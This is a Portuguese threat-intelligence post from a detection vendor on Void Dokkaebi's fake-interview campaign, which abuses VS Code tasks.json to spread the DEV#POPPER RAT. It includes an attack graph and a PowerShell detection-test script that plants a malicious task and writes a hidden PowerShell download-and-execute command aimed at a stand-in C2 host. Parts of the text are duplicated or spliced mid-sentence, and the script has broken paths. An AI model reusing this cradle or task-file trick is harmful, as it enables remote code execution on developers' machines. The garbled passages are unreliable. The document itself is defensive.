SOC Prime Bias: Crítico

24 Abr 2026 16:18

Entrevistas Falsas Usadas por Void Dokkaebi para Espalhar Malware Através de Repositórios Git

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
Entrevistas Falsas Usadas por Void Dokkaebi para Espalhar Malware Através de Repositórios Git
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Void Dokkaebi, um grupo de ameaça ligado à Coreia do Norte, está usando ofertas de entrevistas de emprego falsas para atrair desenvolvedores a clonar repositórios maliciosos. Uma vez abertos, esses repositórios abusam de tarefas injetadas no VS Code e JavaScript ofuscado para transformar projetos de código confiáveis em canais automatizados de entrega de malware. Repositórios infectados podem então ajudar a espalhar ainda mais a violação em ambientes de desenvolvedores e ecossistemas conectados.

Investigação

A Trend Micro descobriu mais de 750 repositórios públicos infectados, mais de 500 configurações de tarefa maliciosa do VS Code e 101 casos envolvendo um script em lotes personalizado projetado para adulterar commits. A análise mostrou que o código malicioso buscou cargas úteis através de serviços baseados em blockchain e, por fim, entregou uma variante do RAT DEV#POPPER. Esse malware se comunicou com a infraestrutura do atacante através de canais baseados tanto em WebSocket quanto HTTP.

Mitigação

As defesas recomendadas incluem isolar o código recebido através de processos de entrevista, adicionar .vscode/ to .gitignore, impor commits assinados e proteção de ramificação, e auditar repositórios em busca de marcadores de infecção conhecidos. As equipes de segurança também devem monitorar o tráfego de API de blockchain para comportamentos suspeitos e bloquear o acesso aos URLs de comando e controle identificados. Os desenvolvedores devem tratar as solicitações de confiança do espaço de trabalho do VS Code como um ponto de verificação de segurança significativo, e não como uma ação rotineira de clicar e seguir.

Resposta

Se houver suspeita de infecção, isole imediatamente a estação de trabalho afetada, revogue quaisquer credenciais expostas, remova arquivos de tarefas maliciosos e JavaScript injetado, e realize uma revisão completa do repositório impactado. As defesas de rede também devem ser atualizadas para detectar os padrões de comando e controle conhecidos e bloquear a comunicação de saída para os endpoints de blockchain identificados. task files and injected JavaScript, and perform a full review of the impacted repository. Network defenses should also be updated to detect the known command-and-control patterns and block outbound communication to the identified blockchain endpoints.

"graph TB %% Definições de classes classDef stage fill:#e6f7ff classDef technique fill:#fff2cc classDef file fill:#f0e68c classDef malware fill:#ffcccc classDef indicator fill:#d9ead3 %% Definições de nó stage_initial["<b>Stage</b> – Initial Access<br/>O atacante atrai o desenvolvedor com uma entrevista falsa e repositório Git malicioso"] class stage_initial stage tech_user_exec["<b>Technique</b> – T1204 Execução do Usuário<br/>A vítima executa conteúdo malicioso, como um link ou código copiado"] class tech_user_exec technique tech_malicious_link["<b>Technique</b> – T1204.001 Link Malicioso<br/>Link direciona a vítima para o repositório malicioso"] class tech_malicious_link technique tech_malicious_copy["<b>Technique</b> – T1204.004 Copiar e Colar Maliciosos<br/>O desenvolvedor copia código do repositório malicioso"] class tech_malicious_copy technique stage_repo_harvest["<b>Stage</b> – Coleta de Repositórios<br/>Repositório clonado dá acesso ao código-fonte e potenciais credenciais"] class stage_repo_harvest stage tech_code_repo["<b>Technique</b> – T1213.003 Dados de Repositórios de Informação: Repositórios de Código<br/>O adversário extrai dados de repositórios de código"] class tech_code_repo technique stage_execution_vs["<b>Stage</b> – Execução via VS Code<br/>.vscode/tasks.json executa downloader automaticamente ao abrir a pasta"] class stage_execution_vs stage tech_trusted_ide["<b>Technique</b> – T1127 Execução de Proxy de Utilitários de Desenvolvedor Confiáveis<br/>Abuso de extensões IDE confiáveis para executar código"] class tech_trusted_ide technique tech_ide_ext["<b>Technique</b> – T1176.002 Extensões de Software: Extensões IDE<br/>O tasks.json malicioso aciona a execução"] class tech_ide_ext technique file_tasks_json["<b>File</b> – .vscode/tasks.json<br/>Configurado com runOn folderOpen para iniciar o downloader"] class file_tasks_json file stage_payload_retrieval["<b>Stage</b> – Recuperação de Carga<br/>Downloader busca cargas úteis dos endpoints RPC de blockchain"] class stage_payload_retrieval stage tech_resource_hijack["<b>Technique</b> – T1496 Sequestro de Recursos<br/>Utiliza infraestrutura blockchain para entrega de cargas úteis"] class tech_resource_hijack technique tech_obfuscation["<b>Technique</b> – T1027.007 Arquivos ou Informações Ofuscadas: Resolução Dinâmica de API<br/>O código esconde endpoints de API e os resolve em tempo de execução"] class tech_obfuscation technique indicator_blockchain["<b>Indicador</b> – Conexões RPC de blockchain saídas<br/>Chamadas para api.trongrid.io, aptoslabs.com e RPC BSC"] class indicator_blockchain indicator stage_module_hijack["<b>Stage</b> – Sequestro de Módulos<br/>Diretório .node_modules oculto colocado para pré-carregar módulos Node maliciosos"] class stage_module_hijack stage tech_shared_modules["<b>Technique</b> – T1129 Módulos Compartilhados<br/>Módulo malicioso carregado antes dos legítimos"] class tech_shared_modules technique file_node_modules["<b>File</b> – Diretório .node_modules<br/>Contém módulo sequestrado"] class file_node_modules file stage_rat_deployment["<b>Stage</b> – Implantação de RAT<br/>A variante DEV#POPPER RAT estabelece WebSocket C2 e exfiltra dados"] class stage_rat_deployment stage malware_devpopper["<b>Malware</b> – DEV#POPPER RAT<br/>WebSocket C2, exfiltração de arquivos, evita pipelines CI/CD"] class malware_devpopper malware indicator_c2["<b>Indicador</b> – URLs WebSocket C2"] class indicator_c2 indicator stage_persistence["<b>Stage</b> – Persistência e Manipulação de Commits<br/>JavaScript malicioso injetado em arquivos de configuração e script em lotes altera commits"] class stage_persistence stage tech_timestomp["<b>Technique</b> – T1070.006 Remoção de Indicador: Timestomp<br/>Altera o relógio do sistema para retroceder a data dos commits"] class tech_timestomp technique file_postcss["<b>File</b> – postcss.config.mjs<br/>JavaScript ofuscado injetado"] class file_postcss file file_batch["<b>File</b> – temp_auto_push.bat<br/>Automatiza alterações de commit e força o push"] class file_batch file stage_propagation["<b>Stage</b> – Propagação<br/>Pasta .vscode maliciosa e código commitados, desenvolvedores a jusante herdam a infecção"] class stage_propagation stage tech_propagation["<b>Technique</b> – T1127 Execução de Proxy de Utilitários de Desenvolvedor Confiáveis<br/>Abuso repetido de IDE em repositórios clonados"] class tech_propagation technique tech_repo_spread["<b>Technique</b> – T1213.003 Dados de Repositórios de Informação<br/>Código malicioso se espalha via compartilhamento de repositórios"] class tech_repo_spread technique indicator_detection["<b>Indicador</b> – Deteção de IOCs<br/>RPC de blockchain, WebSocket C2, caminhos HTTP /verify-human/ e /u/f"] class indicator_detection indicator %% Conexões stage_initial –>|usa| tech_user_exec tech_user_exec –>|inclui| tech_malicious_link tech_user_exec –>|inclui| tech_malicious_copy tech_malicious_link –>|entrega| stage_repo_harvest tech_malicious_copy –>|entrega| stage_repo_harvest stage_repo_harvest –>|explora| tech_code_repo stage_repo_harvest –>|leva a| stage_execution_vs stage_execution_vs –>|usa| tech_trusted_ide stage_execution_vs –>|usa| tech_ide_ext stage_execution_vs –>|executa| file_tasks_json stage_execution_vs –>|aciona| stage_payload_retrieval stage_payload_retrieval –>|usa| tech_resource_hijack stage_payload_retrieval –>|usa| tech_obfuscation stage_payload_retrieval –>|cria| indicator_blockchain stage_payload_retrieval –>|leva a| stage_module_hijack stage_module_hijack –>|usa| tech_shared_modules stage_module_hijack –>|contém| file_node_modules stage_module_hijack –>|leva a| stage_rat_deployment stage_rat_deployment –>|implanta| malware_devpopper malware_devpopper –>|comunica-se com| indicator_c2 stage_rat_deployment –>|prepara para| stage_persistence stage_persistence –>|usa| tech_timestomp stage_persistence –>|modifica| file_postcss stage_persistence –>|executa| file_batch stage_persistence –>|ativa| stage_propagation stage_propagation –>|usa| tech_propagation stage_propagation –>|usa| tech_repo_spread stage_propagation –>|produz| indicator_detection "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Teste de Pré-voo de Telemetria e Linha de Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) destinada a acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar exatamente a telemetria esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

  • Narrativa de Ataque e Comandos:
    Um atacante que convenceu um desenvolvedor a clonar um repositório malicioso solta um VS Code encoberto tasks.json no projeto arquivos de tarefas maliciosos e JavaScript injetado, e realize uma revisão completa do repositório impactado. As defesas de rede também devem ser atualizadas para detectar os padrões de comando e controle conhecidos e bloquear a comunicação de saída para os endpoints de blockchain identificados. pasta. A tarefa refere-se a um temp_auto_push.bat script localizado no diretório temporário do sistema. O arquivo em lotes é gerado instantaneamente a partir de um trecho de JavaScript ofuscado que incorpora os marcadores global['!'] and global['_V']. Quando o desenvolvedor abre a pasta no VS Code, a tarefa é executada automaticamente, executando o arquivo em lotes, que finalmente se conecta a um servidor C2. Essa cadeia cumpre T1053.007 (tarefa do VS Code), T1127.003 (atalho persistente via lote), e T1027.007 (ofuscação).

    Os passos são:

    1. Coloque o tasks.json malicioso com as strings necessárias.
    2. Crie o JavaScript ofuscado , que, quando avaliado, escreve temp_auto_push.bat contendo o comando malicioso.
    3. Acione a execução da tarefa do VS Code (simulada acionando a tarefa via code --folder-uri CLI).
  • Script de Teste de Regressão:

    # -------------------------------------------------
    # Simulação de Tarefa e JS Ofuscado do VS Code Void Dokkaebi
    # -------------------------------------------------
    $vscodeDir = "$env:USERPROFILE.vscode"
    $taskFile  = Join-Path $vscodeDir "tasks.json"
    $tempBat   = "$env:TEMPtemp_auto_push.bat"
    $jsPayload = @"
    (function(){
    var g = global;
    g['!'] = true;    // marcador para detecção
    g['_V'] = 'payload';
    var cmd = 'powershell -nop -w hidden -c "IEX ((New-Object Net.WebClient).DownloadString(''http://malicious.c2/payload.ps1''))"';
    var fso = new ActiveXObject('Scripting.FileSystemObject');
    var file = fso.CreateTextFile('$tempBat', true);
    file.WriteLine(cmd);
    file.Close();
    })();
    "@
    
    # 1. Certifique-se de que a pasta .vscode exista
    New-Item -ItemType Directory -Path $vscodeDir -Force | Out-Null
    
    # 2. Escrever tasks.json malicioso
    @"
    {
    "version": "2.0.0",
    "tasks": [
    {
      "label": "AutoPush",
      "type": "shell",
      "command": "cscript //nologo //E:jscript //B - <<'JS'n$jsPayloadnJS"
    }
    ]
    }
    "@ | Set-Content -Path $taskFile -Encoding UTF8
    
    # 3. (Opcional) Invoque diretamente a tarefa para imitar a execução automática do VS Code
    # Nota: Em um ambiente real, o VS Code analisaria e executaria essa tarefa.
    Write-Host "Tarefa maliciosa do VS Code implantada. Acionando via execução simulada..."
    cscript //nologo //E:jscript //B - <<'JS'
    $jsPayload
    JS
    
    Write-Host "Simulação concluída. Verifique o SIEM para alerta."
  • Comandos de Limpeza:

    # Remove artefatos maliciosos
    Remove-Item -Path "$env:USERPROFILE.vscodetasks.json" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPtemp_auto_push.bat" -Force -ErrorAction SilentlyContinue
    # Opcionalmente, limpe o diretório .vscode se ele foi criado apenas para o teste
    if ((Get-ChildItem "$env:USERPROFILE.vscode").Count -eq 0) {
        Remove-Item -Path "$env:USERPROFILE.vscode" -Force -Recurse -ErrorAction SilentlyContinue
    }
    Write-Host "Limpeza concluída."